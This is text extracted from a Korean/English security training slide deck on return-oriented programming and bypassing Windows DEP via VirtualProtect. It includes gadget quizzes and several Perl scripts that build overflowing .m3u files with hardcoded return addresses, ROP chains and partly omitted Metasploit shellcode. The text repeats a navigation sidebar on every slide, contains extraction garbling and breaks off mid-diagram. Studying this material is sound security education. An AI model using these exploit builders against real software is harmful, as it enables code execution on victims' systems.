1. System Hacking & Reverse Engineering
[ Buffer Overflow - Return Oriented Programming aka. ROP ]
documented by h2spice
h2spice@gmail.com
2. Who am I
Sanghwan,Ahn (h2spice)
Works for LINE.Corp
Carrying out research on the vulnerability (exploitation,hunt,analysis)
3. 시스템 해킹 / 리버싱
Buffer Overflow
취약점 원리
Stack Overflow
Heap Overflow
Format String Bug
Heap Overflow
Use After Free
Overwriting RET
Overwriting SEH
익스플로잇(Win32/*NIX/ARM)
Egg Hunting
RTL
ROP
Heap Spraying
커리큘럼 소개
취약점 / 악성코드 분석
악성코드 분석
Software on X86
버그 헌팅
X86 ARM
Mobile
취약점 분석
소스코드 분석
퍼징
CVE-XXXX-XXXX
Exploit-DB
Inj3ct0r - 1337day
리버스 엔지니어링
iOS
Android
Overwriting .dtors
Overwriting GOT
4. 목차
커리큘럼 소개
Track3 - Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROP
Heap Spray
Track3-2 *NIX
Overwrite RET
RTL
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
RTL
ROP
6. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tRede turn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
7. Track3. Exploitation ROP(Return Oriented Programming)
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
8. ROP(Return Oriented Programming)
리턴 지향 프로그램이 (ROP)는 공격자가 현재 수행 중인 프로그램 코
드 안에 존재하는 서브루틴이 리턴 명령어에 닿기 전에 선별된 기계어
명령어 또는 기계 명령어 덩어리를 간접적으로 실행시키기 위해 콜 스
택의 제어를 통제하는 기술
Memory Defense Mechanism 우회 가능
무작위성 주소공간 배치 난수화 (ASLR: Address Space Layout Randomization)
데이터 실행 방지 ( DEP : Data Execution Prevention) or W^X (Write xor eXecute)
Ret-to-LibC 기법에 대한 이해 필요
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
9. ROP Gadget Chain
Gadget Chain 구성 기준
전체 함수를 사용하는 대신에 명령어의 연속된 작은 덩어리들을 이용.
명령어 조각은 2개에서 5개 정도의 크기.
모든 명령어 조각은 ret 명령으로 끝나야 함.
명령어 조각들은 ‘gadget’ 으로 서로 연결되어 명령어 덩어리를 형성
gadget은 의도된 특정 행동을 수행 (load, store, xor or branch)
공격자는 여러개의 gadget을 조합해 공격의 정교함을 더할 수 있음
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
10. Principle of ROP
1 2 3 4
ins1
ins2
ins3
ret
ins1
ins2
ret
ins1
ins2
pop
ret
ins1
ret
Gadget1 (Load)
5 6
ins1
ins2
ins3
ret
ins1
ins2
ret
Gadget2 (Add)
Load 명령을 수행하기 위한 기계어 8개가 있고, 필요한 인자가 하나 있다고 가정한다면, Load 기능을 수행
하기 위한 가젯은 왼쪽 Gadget1 과 같이 구성되어야 한다.
(물론 각각의 기계어들을 현재 수행되고 있는, 공격자가 접근 가능한 프로그램 내부에 존재하는 기계어 조각들 중에서 추출되어야 한다.)
추출 과정을 통해 구성된 가젯들을 수행하게 되면 별도의 코드 삽입이나, 내장 함수를 이용하지 않아도 공격
자가 원하는 행동들을 수행할 수 있다.
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
11. Principle of ROP
1 2 3 4
ins1
ins2
ins3
ret
ins1
ins2
ret
ins1
ins2
pop
ret
ins1
ret
Gadget1 (Load)
5 6
ins1
ins2
ins3
ret
ins1
ins2
ret
Gadget2 (Add)
return address 6
return address 5
return address 4
argument
return address 3
return address 2
return address 1
Pattern 2
Pattern 1
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
12. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice1. Understanding of gadget (1)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
Gadget A
13. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice1. Understanding of gadget (1)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
What’s the value of EAX ?
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
Gadget A
14. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice1. Understanding of gadget (1)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
Gadget A
EAX is 8
15. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice2. Understanding of gadget (2)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
ret
POP EDI
POP EDI
POP EDI
ret
4 5 6
Gadget B
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
16. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice2. Understanding of gadget (2)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
ret
POP EDI
POP EDI
POP EDI
ret
Wha4t’s the va5 lue of E6AX ?
Gadget B
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
17. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice2. Understanding of gadget (2)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
ret
POP EDI
POP EDI
POP EDI
ret
4 5 6
Gadget B
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
EAX is 5
18. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice3. Gadget for calling function
1 2 3
strcpy(dest,src)
4
8
Fill in the blanks
with appropriate gadget.
11 12
Gadget C
POP
POP
ret
dest
src
5 6 7
strcpy(dest,src) POP
?
POP
ret
dest
src
strcpy(dest,src) POP
POP
ret
dest
9 10
src
?
?
19. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice3. Gadget for calling function
1 2 3
strcpy(dest,src)
4
8
9 10 11 12
Gadget C
POP
POP
ret
dest
src
5 6 7
strcpy(dest,src) POP
POP
ret
dest
src
strcpy(dest,src) POP
POP
ret
dest src
20. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice4. Gadget for modification registry
make EAX to 0x41414141
,EBP to DEADBEEF
21. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice4. Gadget for modification registry
my $file= "rop1.m3u";
my $buffersize = 26022;
my $junk = "A" x $buffersize;
my $eip=pack('V',0x100102DC); #pointer to RET
my $junk2 = "AAAA"; #compensate, to make sure ESP points at first rop gadget
my $rop = pack('V',0x10026D56); #POP EAX + RET (gadget 1)
$rop = $rop . pack('V',0x414140C1); #this will be popped into EAX
$rop = $rop . pack('V',0x1002DC24); #ADD EAX,80 + POP EBX + RET (gadget 2)
$rop = $rop . pack('V',0xDEADBEEF); #this will be popped into EBX
my $rest = "C" x 1000;
my $payload = $junk.$eip.$junk2.$rop.$rest;
print "Payload size : ".length($payload)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
22. Bypassing DEP by using ROP
API/OS XP SP2 XP SP3 Vista SP0 Vista SP1 Windows7 Windows
2003 SP1
Windows
2008
VirtualAlloc Yes Yes Yes Yes Yes Yes Yes
HeapCreate Yes Yes Yes Yes Yes Yes Yes
SetProcessDEPPolicy No(1) Yes No(1) Yes No(2) No(1) Yes
NtSetInformationProcess Yes Yes Yes No(2) No(2) Yes No(2)
VirtualProtect Yes Yes Yes Yes Yes Yes Yes
WriteProcessMemory Yes Yes Yes Yes Yes Yes Yes
(1) = doesn’t exist
(2) = will fail because of default DEP Policy settings
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Select Weapon for bypassing DEP
23. Bypassing DEP by using ROP
Select Weapon for bypassing DEP
API/OS XP SP2 XP SP3 Vista SP0 Vista SP1 Windows7 Windows
2003 SP1
Windows
2008
VirtualAlloc Yes Yes Yes Yes Yes Yes Yes
HeapCreate Yes Yes Yes Yes Yes Yes Yes
SetProcessDEPPolicy No(1) Yes No(1) Yes No(2) No(1) Yes
NtSetInformationProcess Yes Yes Yes No(2) No(2) Yes No(2)
VirtualProtect Yes Yes Yes Yes Yes Yes Yes
WriteProcessMemory Yes Yes Yes Yes Yes Yes Yes
(1) = doesn’t exist
(2) = will fail because of default DEP Policy settings
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
24. Track3. Exploitation Bypassing DEP by using ROP
VirtualProtect function info
lpAddress : 권한을 변경하고자하는 메모리 영역의 주소
dwSize : 변경할 메모리 크기
flNewProtect : 변경할 플래그 (RWX등)
lpflOldProtect : 현재 플래그를 저장할 주소
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
PAGE_EXECUTE 0X10 / PAGE_EXECUTE_READ 0X20 /PAGE_EXECUTE_READWRITE 0X40 / PAGE_EXECUTE_WRITECOPY 0X80
PAGE_NOACCESS 0X01 / PAGE_READONLY 0X02 / PAGE_READWRITE X04 / PAGE_WRITECOPY 0X08
25. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
by hand
my $file= "rop2.m3u";
my $buffersize = 26022;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x7C801AD4); #pointer to VirtualProtect
my $params= "VVVV";
$params = $params."WWWW";
$params = $params."XXXX";
$params = $params."YYYY";
$params = $params."ZZZZ";
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" .
…omit…
"xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05";
my $nops = "x90" x 200;
my $rest = "C" x 300;
my $payload = $junk.$eip.$params.$nops.$shellcode.$rest;
print "Payload size : ".length($payload)."n";
print "Shellcode size : ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
26. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
RET
EBP
Buffer[26020]
27. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
RET
EBP
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Buffer[Z 26020]
Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
28. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
VirtuaRlEPTro t ect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
29. Padding -> VVVV
RET
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
30. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
flNewProtect
dwSize
lpAddress
return address
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
31. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
by hand
my $file= "rop2.m3u";
my $buffersize = 26022;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x7C801AD4); #pointer to VirtualProtect
my $junk2 = "AAAA"; #compensates
my $params=pack('V',0x01010101); #return address
$params = $params."XXXX"; #lpAddress
$params = $params."YYYY"; #Size - Shellcode length
$params = $params."ZZZZ"; #flNewProtect
$params = $params.pack('V',0x10035005); #writeable address
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" .
…omit…
"xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05";
my $nops = "x90" x 200;
my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$params.$nops.$shellcode.$rest;
print "Payload size : ".length($payload)."n";
print "Shellcode size : ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
32. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
flNewProtect
dwSize
lpAddress
return address
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
33. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
flNewProtect
dwSize
lpAddress
0x000FF80C
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
1번째 인자값을 쉘코드의 주소 변조 (수동으로)
Shellcode
34. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
flNewProtect
dwSize
0x000FF80C
0x000FF80C
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
2번째 인자값을 쉘코드의 주소 변조 (수동으로)
Shellcode
35. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
flNewProtect
0x000002BC(700)
0x000FF80C
0x000FF80C
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
3번째 인자값을 쉘코드의 사이즈+@ 로 변조 (수동으로)
Shellcode
36. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
0x00000040(RWX)
0x000002BC(700)
0x000FF80C
0x000FF80C
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
4번째 인자값을 RWX 권한 플래그로 변조 (수동으로)
Shellcode
37. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
0x10035005
0x00000040(RWX)
0x000002BC(700)
0x000FF80C
0x000FF80C
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
5번째 인자값을 현재 플래그를 저장할 주소로 변조 (수동으로)
Shellcode
38. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
PUSH Parameters
39. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
Call VirtualProtectEX
Change the protection on a region of committed page
and Return to start point of shell code , Execute it
40. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.1
First. automatically set these arguments ?
41. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.1
First. automatically set these arguments ?
Yes
42. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.2
Second. and then execute it ?
43. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.2
Second. and then execute it ?
Yes
44. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.3
Third. How ?
45. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.3
Third. How ?
by using ROP
46. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
두번째 인자 예약 공간에 값을 덮어씀
EIP
47. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
48. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
